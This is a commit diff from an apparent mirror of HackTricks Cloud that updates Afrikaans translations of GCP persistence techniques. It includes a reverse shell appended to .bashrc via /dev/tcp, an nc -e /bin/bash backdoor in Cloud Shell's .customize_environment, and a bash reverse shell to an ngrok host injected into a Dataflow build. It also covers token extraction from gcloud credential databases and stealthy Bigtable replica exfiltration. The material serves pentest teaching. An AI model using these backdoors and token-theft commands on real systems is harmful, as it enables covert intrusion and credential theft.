mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-stora
This commit is contained in:
@@ -4,17 +4,21 @@
|
||||
|
||||
## Bigtable
|
||||
|
||||
Vir meer inligting oor Bigtable, kyk:
|
||||
Vir meer inligting oor Bigtable, sien:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Toegewyd aanvaller App Profile
|
||||
### Toegewese aanvaller App Profile
|
||||
|
||||
**Permissies:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
|
||||
|
||||
Skep 'n app profile wat verkeer na jou replica cluster herlei en skakel Data Boost aan sodat jy nooit op provisioned nodes afhanklik is wat verdedigers mag opmerk nie.
|
||||
Skep 'n app profile wat verkeer na jou replica cluster lei en skakel Data Boost aan sodat jy nooit van provisioned nodes afhanklik is wat verdedigers dalk sal opmerk nie.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skep onopgemerkte app profile</summary>
|
||||
```bash
|
||||
gcloud bigtable app-profiles create stealth-profile \
|
||||
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
|
||||
@@ -24,29 +28,43 @@ gcloud bigtable app-profiles update stealth-profile \
|
||||
--instance=<instance-id> --data-boost \
|
||||
--data-boost-compute-billing-owner=HOST_PAYS
|
||||
```
|
||||
</details>
|
||||
|
||||
Solank hierdie profiel bestaan, kan jy weer koppel met vars credentials wat daarna verwys.
|
||||
|
||||
### Onderhou jou eie replika-kluster
|
||||
### Handhaaf jou eie replika-kluster
|
||||
|
||||
**Permissies:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
|
||||
|
||||
Skep 'n kluster met 'n minimale node-count in 'n stil streek. Selfs as jou client-identiteite verdwyn, **hou die kluster 'n volle kopie van elke tabel** totdat verdedigers dit uitdruklik verwyder.
|
||||
Stel 'n kluster met 'n minimale aantal nodes in 'n rustige streek op. Selfs as jou client-identiteite verdwyn, **behou die kluster 'n volledige kopie van elke tabel** totdat verdedigers dit uitdruklik verwyder.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skep replika-kluster</summary>
|
||||
```bash
|
||||
gcloud bigtable clusters create dark-clone \
|
||||
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
|
||||
```
|
||||
Hou dit dop met `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` sodat jy onmiddellik kan opskaal wanneer jy data moet uittrek.
|
||||
</details>
|
||||
|
||||
### Sluit replikasie agter jou eie CMEK
|
||||
Hou dit dop via `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` sodat jy onmiddellik kan opskaal wanneer jy data moet trek.
|
||||
|
||||
**Permissies:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` op die sleutel wat aan die aanvaller behoort.
|
||||
### Vergrendel replikasie agter jou eie CMEK
|
||||
|
||||
Neem jou eie KMS-sleutel wanneer jy 'n kloon opsit. Sonder daardie sleutel kan Google die cluster nie her-skep of fail over nie; blue teams moet dus eers met jou koördineer voordat hulle dit aanraak.
|
||||
**Permissies:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` on the attacker-owned key.
|
||||
|
||||
Gebruik jou eie KMS-sleutel wanneer jy 'n kloon opstart. Sonder daardie sleutel kan Google die cluster nie herskep of fail over nie, so blue teams moet met jou koördineer voordat hulle daaraan raak.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skep CMEK-beskermde cluster</summary>
|
||||
```bash
|
||||
gcloud bigtable clusters create cmek-clone \
|
||||
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
|
||||
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
|
||||
```
|
||||
</details>
|
||||
|
||||
Draai of deaktiveer die sleutel in jou projek om die replica onmiddellik te brick (terwyl jy dit later steeds weer kan aanskakel).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,58 +1,76 @@
|
||||
# GCP - Cloud Shell Persistensie
|
||||
# GCP - Cloud Shell Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Shell
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Volhoubare Agterdeur
|
||||
### Persistent Backdoor
|
||||
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) bied jou opdraglyn toegang tot jou wolkbronne direk vanaf jou blaaier sonder enige geassosieerde koste.
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) voorsien jou van command-line toegang tot jou cloud resources direk vanaf jou blaaier sonder enige koste.
|
||||
|
||||
Jy kan Google se Cloud Shell vanaf die **webkonsol** of deur **`gcloud cloud-shell ssh`** te gebruik.
|
||||
Jy kan toegang kry tot Google's Cloud Shell vanaf die **web console** of deur **`gcloud cloud-shell ssh`** te hardloop.
|
||||
|
||||
Hierdie konsol het 'n paar interessante vermoëns vir aanvallers:
|
||||
Hierdie konsole het 'n paar interessante vermoëns vir aanvallers:
|
||||
|
||||
1. **Enige Google-gebruiker met toegang tot Google Cloud** het toegang tot 'n volledig geverifieerde Cloud Shell-instansie (Diensrekeninge kan, selfs as hulle Eienaars van die organisasie is).
|
||||
2. Die genoemde instansie sal **sy tuisgids vir ten minste 120 dae onderhou** as daar geen aktiwiteit plaasvind nie.
|
||||
3. Daar is **geen vermoëns vir 'n organisasie om** die aktiwiteit van daardie instansie te monitor nie.
|
||||
1. **Enige Google gebruiker met toegang tot Google Cloud** het toegang tot 'n volledig geauthentiseerde Cloud Shell instance (Service Accounts kan ook, selfs wanneer hulle Owners van die org is).
|
||||
2. Daardie instance sal **sy home directory vir minstens 120 dae behou** as geen aktiwiteit plaasvind nie.
|
||||
3. Daar is **geen moontlikhede vir 'n organisasie om** die aktiwiteit van daardie instance te monitor nie.
|
||||
|
||||
Dit beteken basies dat 'n aanvaller 'n agterdeur in die tuisgids van die gebruiker kan plaas en solank die gebruiker elke 120 dae ten minste met die GC Shell verbind, sal die agterdeur oorleef en die aanvaller sal 'n shell kry elke keer dit uitgevoer word net deur:
|
||||
Dit beteken basies dat 'n aanvaller 'n backdoor in die gebruiker se home directory kan plaas, en solank die gebruiker minstens elke 120 dae aan die GC Shell koppel, sal die backdoor oorleef en die aanvaller elke keer 'n shell kry as dit uitgevoer word net deur die volgende te doen:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Voeg reverse shell by .bashrc</summary>
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
Daar is 'n ander lêer in die tuisgids genaamd **`.customize_environment`** wat, indien dit bestaan, **uitgevoer gaan word elke keer** wanneer die gebruiker toegang tot die **cloud shell** verkry (soos in die vorige tegniek). Voeg net die vorige backdoor of een soos die volgende in om volharding te handhaaf solank die gebruiker die cloud shell "gereeld" gebruik:
|
||||
</details>
|
||||
|
||||
Daar is nog 'n lêer in die tuismap genaamd **`.customize_environment`** wat, as dit bestaan, **elke keer uitgevoer** gaan word wanneer die gebruiker toegang tot die **cloud shell** kry (soos in die vorige tegniek). Voeg net die vorige backdoor in of een soos die volgende om persistence te behou solank die gebruiker die **cloud shell** "gereeld" gebruik:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skep .customize_environment backdoor</summary>
|
||||
```bash
|
||||
#!/bin/sh
|
||||
apt-get install netcat -y
|
||||
nc <LISTENER-ADDR> 443 -e /bin/bash
|
||||
```
|
||||
> [!WARNING]
|
||||
> Dit is belangrik om te noem dat die **eerste keer dat 'n aksie wat verifikasie vereis, uitgevoer word**, 'n pop-up magtiging venster in die gebruiker se blaaier verskyn. Hierdie venster moet aanvaar word voordat die opdrag kan loop. As 'n onverwagte pop-up verskyn, kan dit wantroue wek en moontlik die volhardingsmetode wat gebruik word, in gevaar stel.
|
||||
</details>
|
||||
|
||||
Dit is die pop-up van die uitvoering van `gcloud projects list` vanaf die cloud shell (as aanvaller) gesien in die gebruiker se blaaiersessie:
|
||||
> [!WARNING]
|
||||
> Dit is belangrik om te let dat die **eerste keer 'n aksie wat verifikasie vereis, uitgevoer word**, 'n pop-up machtigingsvenster in die gebruiker se blaaier verskyn. Hierdie venster moet aanvaar word voordat die opdrag kan loop. As 'n onverwagte pop-up verskyn, kan dit agterdog wek en moontlik die gebruikte persistence-metode kompromitteer.
|
||||
|
||||
Dit is die pop-up wat verskyn wanneer `gcloud projects list` vanaf die Cloud Shell (as attacker) uitgevoer word, gesien in die gebruiker se blaaieressie:
|
||||
|
||||
<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As die gebruiker egter aktief die cloudshell gebruik het, sal die pop-up nie verskyn nie en kan jy **tokens van die gebruiker versamel met**:
|
||||
As die gebruiker reeds aktief die Cloud Shell gebruik het, sal die pop-up nie verskyn nie en jy kan **tokens van die gebruiker versamel met**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kry toegangstokens vanaf Cloud Shell</summary>
|
||||
```bash
|
||||
gcloud auth print-access-token
|
||||
gcloud auth application-default print-access-token
|
||||
```
|
||||
</details>
|
||||
|
||||
#### Hoe die SSH-verbinding gevestig word
|
||||
|
||||
Basies, hierdie 3 API-oproepe word gebruik:
|
||||
In die algemeen word hierdie 3 API-oproepe gebruik:
|
||||
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (sal jou dwing om jou publieke sleutel wat jy lokaal geskep het, by te voeg)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (sal jou dwing om die instansie te begin)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (sal jou die IP van die Google Cloud Shell vertel)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (laat jou jou public key wat jy plaaslik geskep het byvoeg)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (laat jou die instance begin)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (gee vir jou die IP van die Google Cloud Shell)
|
||||
|
||||
Maar jy kan verdere inligting vind in [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
Maar jy kan verdere inligting vind by [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
||||
@@ -1,12 +1,16 @@
|
||||
# GCP - Dataflow Persistensie
|
||||
# GCP - Dataflow Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dataflow
|
||||
|
||||
### Onsigbare volharding in gebou-container
|
||||
### Onsigbare persistence in die geboude houer
|
||||
|
||||
Volg die [**tutorial van die dokumentasie**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) om 'n nuwe (bv. python) flex-sjabloon te skep:
|
||||
Volgens die [**tutorial from the documentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) kan jy 'n nuwe (bv. python) flex template skep:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skep Dataflow flex template met backdoor</summary>
|
||||
```bash
|
||||
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
|
||||
cd python-docs-samples/dataflow/flex-templates/getting_started
|
||||
@@ -36,9 +40,15 @@ gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
|
||||
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
|
||||
--region=us-central1
|
||||
```
|
||||
**Terwyl dit gebou word, sal jy 'n omgekeerde skulp ontvang** (jy kan omgewingsveranderlikes misbruik soos in die vorige voorbeeld of ander parameters wat die Docker-lêer stel om arbitrêre dinge uit te voer). Op hierdie oomblik, binne die omgekeerde skulp, is dit moontlik om **na die `/template` gids te gaan en die kode van die hoof python-skrip wat uitgevoer sal word (in ons voorbeeld is dit `getting_started.py`) te wysig**. Stel jou agterdeur hier sodat dit elke keer wanneer die taak uitgevoer word, dit sal uitvoer.
|
||||
</details>
|
||||
|
||||
Dan, die volgende keer wanneer die taak uitgevoer word, sal die gecompromitteerde houer wat gebou is, uitgevoer word:
|
||||
**Terwyl dit saamgebou word, sal jy 'n reverse shell kry** (jy kan env variables misbruik soos in die vorige voorbeeld of ander params wat die Docker file instel om arbitrêre dinge uit te voer). Op daardie stadium, binne die reverse shell, is dit moontlik om na die `/template` directory te gaan en die kode van die hoof python-skrip wat uitgevoer sal word te wysig (in ons voorbeeld is dit `getting_started.py`). Plaas jou backdoor hier sodat elke keer wanneer die job uitgevoer word, die backdoor ook uitgevoer sal word.
|
||||
|
||||
Dan, die volgende keer wanneer die job uitgevoer word, sal die gekompromitteerde container wat gebou is, uitgevoer word:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Voer Dataflow template uit</summary>
|
||||
```bash
|
||||
# Run template
|
||||
gcloud dataflow $NAME_TEMPLATE run testing \
|
||||
@@ -46,4 +56,6 @@ gcloud dataflow $NAME_TEMPLATE run testing \
|
||||
--parameters=output="gs://$REPOSITORY/out" \
|
||||
--region=us-central1
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,8 +12,14 @@ Vind meer inligting oor Logging in:
|
||||
|
||||
### `logging.sinks.create`
|
||||
|
||||
Skep 'n sink om die logs na 'n aanvaller se toeganklike bestemming te exfiltreer:
|
||||
Skep 'n sink om die logs na 'n deur 'n aanvaller toeganklike bestemming te eksfiltreer:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skep logging sink</summary>
|
||||
```bash
|
||||
gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,51 +1,79 @@
|
||||
# GCP - Token Volharding
|
||||
# GCP - Token-persistensie
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Geverifieerde Gebruikerstokens
|
||||
### Geverifieerde gebruiker-tokens
|
||||
|
||||
Om die **huidige token** van 'n gebruiker te verkry, kan jy die volgende uitvoer:
|
||||
Om die **huidige token** van 'n gebruiker te kry, kan jy die volgende uitvoer:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kry toegangstoken uit die SQLite-databasis</summary>
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
|
||||
```
|
||||
Kyk op hierdie bladsy hoe om **hierdie token direk met gcloud te gebruik**:
|
||||
</details>
|
||||
|
||||
Kyk op hierdie bladsy hoe om hierdie token **direk met gcloud te gebruik**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
|
||||
{{#endref}}
|
||||
|
||||
Om die besonderhede te kry om **'n nuwe toegangstoken te genereer**, voer in:
|
||||
Om die besonderhede te kry om **generate a new access token**, voer die volgende uit:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kry refresh token uit die SQLite database</summary>
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
|
||||
```
|
||||
Dit is ook moontlik om verfris tokens te vind in **`$HOME/.config/gcloud/application_default_credentials.json`** en in **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
|
||||
</details>
|
||||
|
||||
Om 'n nuwe verfriste toegangstoken met die **verfris token**, kliënt ID, en kliënt geheim te verkry, voer in:
|
||||
Dit is ook moontlik om refresh tokens te vind in **`$HOME/.config/gcloud/application_default_credentials.json`** en in **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
|
||||
|
||||
Om 'n nuwe access token te kry deur die **refresh token**, client ID en client secret te gebruik, voer uit:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kry nuwe access token met behulp van refresh token</summary>
|
||||
```bash
|
||||
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
Die geldigheid van die hernuwingstokens kan bestuur word in **Admin** > **Security** > **Google Cloud session control**, en standaard is dit op 16h ingestel, hoewel dit op nooit verval kan word nie:
|
||||
</details>
|
||||
|
||||
Die geldigheid van refresh tokens kan bestuur word in **Admin** > **Security** > **Google Cloud session control**, en standaard is dit op 16h gestel alhoewel dit ingestel kan word om nooit te verval nie:
|
||||
|
||||
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Auth flow
|
||||
### Outentiseringsvloei
|
||||
|
||||
Die outentikasie-stroom wanneer iets soos `gcloud auth login` gebruik word, sal 'n prompt in die blaaier oopmaak en na die aanvaarding van al die skope sal die blaaiers 'n versoek soos hierdie na die http-poort wat deur die hulpmiddel oopgemaak is, stuur:
|
||||
Die outentiseringsvloei wanneer 'n gebruiker iets soos `gcloud auth login` gebruik, sal 'n prompt in die blaaier oopmaak en nadat alle scopes aanvaar is, sal die blaaier 'n versoek soos die volgende na die http-poort wat deur die tool oopgemaak is, stuur:
|
||||
```
|
||||
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
|
||||
```
|
||||
Dan sal gcloud die toestand en kode gebruik met 'n paar hardgecodeerde `client_id` (`32555940559.apps.googleusercontent.com`) en **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) om die **finale verfris-token data** te verkry.
|
||||
Dan sal gcloud die state en code gebruik saam met 'n paar hardgekodeerde `client_id` (`32555940559.apps.googleusercontent.com`) en **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) om die **finale refresh token-data** te kry.
|
||||
|
||||
> [!CAUTION]
|
||||
> Let daarop dat die kommunikasie met localhost in HTTP is, so dit is moontlik om die data te onderskep om 'n verfris-token te verkry, maar hierdie data is net 1 keer geldig, so dit sou nutteloos wees, dit is makliker om die verfris-token net uit die lêer te lees.
|
||||
> Let wel dat die kommunikasie met localhost oor HTTP plaasvind, so dit is moontlik om die data af te vang om 'n refresh token te kry; egter is hierdie data net 1 keer geldig, dus sou dit nutteloos wees — dit is makliker om net die refresh token uit die lêer te lees.
|
||||
|
||||
### OAuth Scopes
|
||||
### OAuth Toestemmings
|
||||
|
||||
Jy kan al die Google scopes vind in [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) of hulle verkry deur die volgende uit te voer:
|
||||
Jy kan al die Google-scopes vind by [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) of kry hulle deur dit uit te voer:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Haal alle Google OAuth-scopes</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
|
||||
```
|
||||
Dit is moontlik om te sien watter omfange die toepassing wat **`gcloud`** gebruik om te autentiseer, kan ondersteun met hierdie skrif:
|
||||
</details>
|
||||
|
||||
Dit is moontlik om te sien watter scopes die toepassing wat **`gcloud`** gebruik om te verifieer, met hierdie skrip kan ondersteun:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Toets ondersteunde scopes vir gcloud</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
@@ -55,7 +83,9 @@ echo $scope
|
||||
fi
|
||||
done
|
||||
```
|
||||
Na uitvoering daarvan is dit nagegaan dat hierdie toepassing hierdie skope ondersteun:
|
||||
</details>
|
||||
|
||||
Na uitvoering daarvan is bevestig dat hierdie app die volgende scopes ondersteun:
|
||||
```
|
||||
https://www.googleapis.com/auth/appengine.admin
|
||||
https://www.googleapis.com/auth/bigquery
|
||||
@@ -65,18 +95,18 @@ https://www.googleapis.com/auth/devstorage.full_control
|
||||
https://www.googleapis.com/auth/drive
|
||||
https://www.googleapis.com/auth/userinfo.email
|
||||
```
|
||||
dit is interessant om te sien hoe hierdie app die **`drive`** omvang ondersteun, wat 'n gebruiker in staat kan stel om van GCP na Workspace op te skaal as 'n aanvaller daarin slaag om die gebruiker te dwing om 'n token met hierdie omvang te genereer.
|
||||
dit is interessant om te sien hoe hierdie app die **`drive`**-scope ondersteun, wat 'n gebruiker kan toelaat om van GCP na Workspace op te skaal as 'n aanvaller daarin slaag om die gebruiker te dwing om 'n token met hierdie scope te genereer.
|
||||
|
||||
**Kyk hoe om** [**dit hier te misbruik**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
|
||||
|
||||
### Diensrekeninge
|
||||
|
||||
Net soos met geverifieerde gebruikers, as jy daarin slaag om die **privaat sleutel lêer** van 'n diensrekening te **kompromitteer, sal jy dit gewoonlik kan **toegang hê solank jy wil**.\
|
||||
As jy egter die **OAuth-token** van 'n diensrekening steel, kan dit selfs meer interessant wees, want, selfs al is hierdie tokens standaard net nuttig vir 'n uur, as die **slagoffer die privaat API-sleutel verwyder, sal die OAuth-token steeds geldig wees totdat dit verval**.
|
||||
Soos met geverifieerde gebruikers, as jy daarin slaag om die **privaat-sleutel-lêer** van 'n diensrekening te kompromitteer sal jy gewoonlik **toegang daartoe kan behou so lank as wat jy wil**.\
|
||||
Indien jy egter die **OAuth token** van 'n diensrekening steel, kan dit nog interessanter wees, omdat, selfs al is hierdie tokens standaard slegs vir 'n uur bruikbaar, as die **slagoffer die private API-sleutel verwyder, die OAuth token steeds geldig sal bly totdat dit verstryk**.
|
||||
|
||||
### Metadata
|
||||
|
||||
Dit is duidelik dat, solank jy binne 'n masjien wat in die GCP-omgewing loop, sal jy in staat wees om die **diensrekening wat aan daardie masjien gekoppel is, te toegang deur die metadata-eindpunt te kontak** (let daarop dat die Oauth-tokens wat jy in hierdie eindpunt kan toegang, gewoonlik deur omvang beperk is).
|
||||
Natuurlik, solank jy binne 'n masjien is wat in die GCP-omgewing loop, sal jy in staat wees om die **service account wat aan daardie masjien aangeheg is te bereik deur die metadata-endpoint te kontak** (let daarop dat die OAuth tokens wat jy in hierdie endpoint kan toegang kry gewoonlik deur scopes beperk is).
|
||||
|
||||
### Herstelmaatreëls
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# GCP - Berging Volharding
|
||||
# GCP - Storage Persistensie
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Berging
|
||||
## Storage
|
||||
|
||||
Vir meer inligting oor Cloud Storage, kyk:
|
||||
Vir meer inligting oor Cloud Storage, sien:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
@@ -12,7 +12,11 @@ Vir meer inligting oor Cloud Storage, kyk:
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
Jy kan 'n HMAC skep om volharding oor 'n emmer te handhaaf. Vir meer inligting oor hierdie tegniek [**kyk dit hier**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
|
||||
Jy kan 'n HMAC skep om permanente toegang tot 'n bucket te behou. Vir meer inligting oor hierdie tegniek [**kyk hier**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skep en gebruik HMAC-sleutel vir toegang tot Storage</summary>
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email>
|
||||
@@ -23,11 +27,13 @@ gsutil config -a
|
||||
# Use it
|
||||
gsutil ls gs://[BUCKET_NAME]
|
||||
```
|
||||
Nog 'n eksploit-skrip vir hierdie metode kan [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py) gevind word.
|
||||
</details>
|
||||
|
||||
Nog 'n exploit script vir hierdie metode kan gevind word [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
|
||||
### Gee Publieke Toegang
|
||||
|
||||
**Om 'n emmer publiek toeganklik te maak** is 'n ander manier om toegang oor die emmer te behou. Kyk hoe om dit te doen in:
|
||||
**Om 'n bucket publiek toeganklik te maak** is nog 'n manier om toegang tot die bucket te behou. Kyk hoe om dit te doen in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-storage-post-exploitation.md
|
||||
|
||||
+19
-13
@@ -4,7 +4,7 @@
|
||||
|
||||
## `App Engine`
|
||||
|
||||
Vir inligting oor App Engine, kyk:
|
||||
Vir inligting oor App Engine kyk:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
@@ -12,30 +12,36 @@ Vir inligting oor App Engine, kyk:
|
||||
|
||||
### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush`
|
||||
|
||||
Met hierdie toestemmings is dit moontlik om:
|
||||
Met hierdie permissies is dit moontlik om:
|
||||
|
||||
- 'n sleutel by te voeg
|
||||
- sleutels te lys
|
||||
- 'n sleutel te kry
|
||||
- te verwyder
|
||||
- Voeg 'n sleutel by
|
||||
- Lys sleutels
|
||||
- Kry 'n sleutel
|
||||
- Verwyder
|
||||
|
||||
> [!CAUTION]
|
||||
> egter, ek **kon nie enige manier vind om hierdie inligting vanaf die cli te bekom nie**, slegs vanaf die **webkonsol** waar jy die **Sleutel tipe** en die **Sleutel naam** moet weet, of van die **app engine wat loop**.
|
||||
> Echter, ek **kon geen manier vind om toegang tot hierdie inligting vanaf die cli te kry nie**, slegs vanaf die **web console** waar jy die **Key type** en die **Key name** moet ken, of vanaf die a**pp engine running app**.
|
||||
>
|
||||
> As jy makliker maniere weet om hierdie toestemmings te gebruik, stuur 'n Pull Request!
|
||||
> As jy makliker maniere ken om hierdie permissies te gebruik, stuur 'n Pull Request!
|
||||
|
||||
### `logging.views.access`
|
||||
|
||||
Met hierdie toestemming is dit moontlik om **die logs van die App te sien**:
|
||||
Met hierdie permisie is dit moontlik om **die logs van die App te sien**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Tail app logs</summary>
|
||||
```bash
|
||||
gcloud app logs tail -s <name>
|
||||
```
|
||||
### Lees Bronkode
|
||||
</details>
|
||||
|
||||
Die bronkode van al die weergawes en dienste is **gestoor in die emmer** met die naam **`staging.<proj-id>.appspot.com`**. As jy skryfreëls oor dit het, kan jy die bronkode lees en soek na **kwesbaarhede** en **sensitiewe inligting**.
|
||||
### Lees Source Code
|
||||
|
||||
### Wysig Bronkode
|
||||
Die source code van alle weergawes en dienste is **gestoor in die bucket** met die naam **`staging.<proj-id>.appspot.com`**. As jy write access daaroor het, kan jy die source code lees en soek na **vulnerabilities** en **sensitive information**.
|
||||
|
||||
Wysig bronkode om geloofsbriewe te steel as hulle gestuur word of om 'n webaanval te doen.
|
||||
### Wysig Source Code
|
||||
|
||||
Wysig die source code om steal credentials as dit gestuur word, of om 'n defacement web attack' uit te voer.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+100
-40
@@ -4,37 +4,53 @@
|
||||
|
||||
## Bigtable
|
||||
|
||||
Vir meer inligting oor Bigtable, kyk:
|
||||
Vir meer inligting oor Bigtable check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!TIP]
|
||||
> Installeer die `cbt` CLI eenmalig via die Cloud SDK sodat die onderstaande opdragte plaaslik werk:
|
||||
> Installeer die `cbt` CLI een keer via die Cloud SDK sodat die opdragte hieronder lokaal werk:
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
